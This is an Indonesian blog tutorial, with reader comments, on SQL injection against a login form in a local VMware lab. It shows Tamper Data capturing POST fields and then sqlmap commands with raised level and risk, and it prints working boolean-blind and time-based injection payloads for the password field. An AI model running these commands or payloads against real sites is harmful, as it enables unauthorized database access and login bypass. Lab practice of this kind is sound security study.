Searching...
April 10, 2012
Tuesday, April 10, 2012

SQL Injection Level 4 [Part 1]

Bosan dengan perintah

(select group_concat(table_name) from information schema.tables where table_schema=database())


Kali ini saya akan memberikan sedikit pelajaran mengenai SQL Injection level 4. Pada tutorial kali ini, saya tidak menggunakan live target, karena saya rasa itu bersifat merusak. Sehingga saya coba metode ini di localhost dengan bantuan VMware.

Preparation : 
  1. Firefox
  2. Tamper Data (add ons mozilla firefox)
  3. SQLmap

Walkthrough


1. Menguji vulnerability.

Kali ini, vmware saya telah berjalan dan memiliki ip address 172.16.33.131. Saya buka firefox, kemudian saya masukan IP address 172.16.33.131 pada address bar.



Username : admin
Password : admin

Log In... Kemudian...


Kita berada di halaman checklogin.php. Disini tidak ada parameter untuk diuji. Mungkin saya bisa menguji data yang dikirim ke server. Saya kembali lagi ke halaman login.

Username : admin
Password : '

Log In.. Kemudian...


Kelihatannya website ini vulnerable. Namun tetap tidak ada parameter. Sehingga dapat disimpulkan bahwa vulnerability bukan terletak pada parameter, melainkan DATA. Untuk mengecek data yang dikirim ke server, saya gunakan tamper data.

2. Tamper Data In Action

Jika anda belum memiliki tamper data, anda bisa install di sini. Namun add-on ini hanya dapat digunakan di Mozilla Firefox. Dan tidak dapat digunakan di Browser lain.

Setelah menginstall, tamper data dapat diaktifkan di Tools - Tamper Data


Kembali ke halaman login

Username : admin
Password : 123

Maka tamper data akan mengambil setiap data yang terjadi selama proses transfer data dari client ke server, maupun sebaliknya.


OK. Saya temukan POSTDATA=myusername=admin&mypassword=123&Submit=Login. Ternyata ada 3 data di sini. yaitu myusername, mypassword, dan Submit. Dan kita telah mengetahui bahwa data password vulnerable. Selanjutnya kita akan gunakan SQLmap untuk menguji database menggunakan informasi yang telah kita dapatkan. Sebelumnya saya ucapkan terima kasih pada tamper data. =)

3. SQLmap in Attack

Command :
red-dragon [~] >> cd /pentest/database/sqlmap/

Command :
red-dragon [/pentest/database/sqlmap] >> python sqlmap.py -u http://172.16.33.131/checklogin.php --data="POSTDATA=myusername=admin&mypassword=123&Submit=Login" -p mypassword --flush-session

Keterangan:
  1. -u = url [Pesan error muncul pada halaman checklogin.php]
  2. --data = [Kali ini kita akan memberikan data pada server dengan cara tampering / menyuap]
  3. -p = parameter [Parameter yang vulnerable adalah mypassword
  4. --flush-session = Bagian ini tidak masalah jika tidak disertakan.


Muncul pertanyaan:
parsed error message(s) showed that the back-end DBMS could be MySQL. Do you want to skip test payloads specific for other DBMSes? [Y/n]

Saya tekan "n" [tanpa tanda kutip], kemudian "enter"

Kemudian muncul lagi:
sqlmap got a 302 redirect to 'http://172.16.33.131:80/login_success.php'. Do you want to follow? [Y/n]

Saya tekan "n" [tanpa tanda kutip], kemudian "enter"

dan berujung pada CRITICAL:
[CRITICAL] all parameters appear to be not injectable. Try to increase --level/--risk values to perform more tests. As heuristic test turned out positive you are strongly advised to continue on with the tests. Please, consider usage of tampering scripts as your target might filter the queries. Also, you can try to rerun by providing either a valid --string or a valid --regexp, refer to the user's manual for details


4. Game Over
Saya coba naikan level dan risk pada testing SQLmap menjadi 5.

Command :
red-dragon [/pentest/database/sqlmap] >> python sqlmap.py -u http://172.16.33.131/checklogin.php --data="POSTDATA=myusername=admin&mypassword=123&Submit=Login" -p mypassword --level=5 --risk=5



Kemudian muncul lagi:
sqlmap got a 302 redirect to 'http://172.16.33.131:80/login_success.php'. Do you want to follow? [Y/n]

Saya tekan "n" [tanpa tanda kutip], kemudian "enter"

Dan muncul pesan yang membahagiakan:
POST parameter 'mypassword' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 

Saya jawab "n", kemudian "enter".

Dan payload untuk website ini adalah:

Place: POST
Parameter: mypassword
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: POSTDATA=myusername=admin&mypassword=-3973' OR (5599=5599) AND 'eHOv'='eHOv&Submit=Login

    Type: AND/OR time-based blind
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)
    Payload: POSTDATA=myusername=admin&mypassword=123' AND 2246=BENCHMARK(5000000,MD5(0x77544b50)) AND 'bGtM'='bGtM&Submit=Login


Sempurna....

created by : red-dragon

3 comment:

  1. wow makasih tutornya

    ReplyDelete
  2. This comment has been removed by the author.

    ReplyDelete
  3. MR B..saya mau bertanya....
    apakah benar password yang di gunakan di atas adalah password yang asli...
    dan apakah benar bisa parameter yang di gunakan di atas --data="POSTDATA=myusername=admin&mypassword=123&Submit=Login
    adalah sembarangan (asal-asalan).........

    lalu bagaimana cara kerja perintah data tersebut..
    apakah sama! kita login lewat halaman target dengan login lewat terminal.. pasti membutuhkan password yang valid donk...!! dan bagaimana anda melakukannya secara live hacking...

    ReplyDelete

 
Back to top!